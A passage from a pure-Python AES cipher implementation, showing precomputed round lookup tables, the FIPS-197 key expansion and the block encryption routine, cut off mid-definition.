0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ]\n    T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ]\n\n    # Transformations for decryption key expansion\n    U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ]\n    U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ]\n    U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ]\n    U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ]\n\n    def __init__(self, key):\n\n        if len(key) not in (16, 24, 32):\n            raise ValueError('Invalid key size')\n\n        rounds = self.number_of_rounds[len(key)]\n\n        # Encryption round keys\n        self._Ke = [[0] * 4 for i in xrange(rounds + 1)]\n\n        # Decryption round keys\n        self._Kd = [[0] * 4 for i in xrange(rounds + 1)]\n\n        round_key_count = (rounds + 1) * 4\n        KC = len(key) // 4\n\n        # Convert the key into ints\n        tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ]\n\n        # Copy values into round key arrays\n        for i in xrange(0, KC):\n            self._Ke[i // 4][i % 4] = tk[i]\n            self._Kd[rounds - (i // 4)][i % 4] = tk[i]\n\n        # Key expansion (fips-197 section 5.2)\n        rconpointer = 0\n        t = KC\n        while t < round_key_count:\n\n            tt = tk[KC - 1]\n            tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^\n                      (self.S[(tt >>  8) & 0xFF] << 16) ^\n                      (self.S[ tt        & 0xFF] <<  8) ^\n                       self.S[(tt >> 24) & 0xFF]        ^\n                      (self.rcon[rconpointer] << 24))\n            rconpointer += 1\n\n            if KC != 8:\n                for i in xrange(1, KC):\n                    tk[i] ^= tk[i - 1]\n\n            # Key expansion for 256-bit keys is \"slightly different\" (fips-197)\n            else:\n                for i in xrange(1, KC // 2):\n                    tk[i] ^= tk[i - 1]\n                tt = tk[KC // 2 - 1]\n\n                tk[KC // 2] ^= (self.S[ tt        & 0xFF]        ^\n                               (self.S[(tt >>  8) & 0xFF] <<  8) ^\n                               (self.S[(tt >> 16) & 0xFF] << 16) ^\n                               (self.S[(tt >> 24) & 0xFF] << 24))\n\n                for i in xrange(KC // 2 + 1, KC):\n                    tk[i] ^= tk[i - 1]\n\n            # Copy values into round key arrays\n            j = 0\n            while j < KC and t < round_key_count:\n                self._Ke[t // 4][t % 4] = tk[j]\n                self._Kd[rounds - (t // 4)][t % 4] = tk[j]\n                j += 1\n                t += 1\n\n        # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3)\n        for r in xrange(1, rounds):\n            for j in xrange(0, 4):\n                tt = self._Kd[r][j]\n                self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^\n                                  self.U2[(tt >> 16) & 0xFF] ^\n                                  self.U3[(tt >>  8) & 0xFF] ^\n                                  self.U4[ tt        & 0xFF])\n\n    def encrypt(self, plaintext):\n        'Encrypt a block of plain text using the AES block cipher.'\n\n        if len(plaintext) != 16:\n            raise ValueError('wrong block length')\n\n        rounds = len(self._Ke) - 1\n        (s1, s2, s3) = [1, 2, 3]\n        a = [0, 0, 0, 0]\n\n        # Convert plaintext to (ints ^ key)\n        t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]\n\n        # Apply round transforms\n        for r in xrange(1, rounds):\n            for i in xrange(0, 4):\n                a[i] = (self.T1[(t[ i          ] >> 24) & 0xFF] ^\n                        self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^\n                        self.T3[(t[(i + s2) % 4] >>  8) & 0xFF] ^\n                        self.T4[ t[(i + s3) % 4]        & 0xFF] ^\n                        self._Ke[r][i])\n            t = copy.copy(a)\n\n        # The last round is special\n        result = [ ]\n        for i in xrange(0, 4):\n            tt = self._Ke[rounds][i]\n            result.append((self.S[(t[ i           ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)\n            result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)\n            result.append((self.S[(t[(i + s2) % 4] >>  8) & 0xFF] ^ (tt >>  8)) & 0xFF)\n            result.append((self.S[ t[(i + s3) % 4]        & 0xFF] ^  tt       ) & 0xFF)\n\n        return result\n\n    def 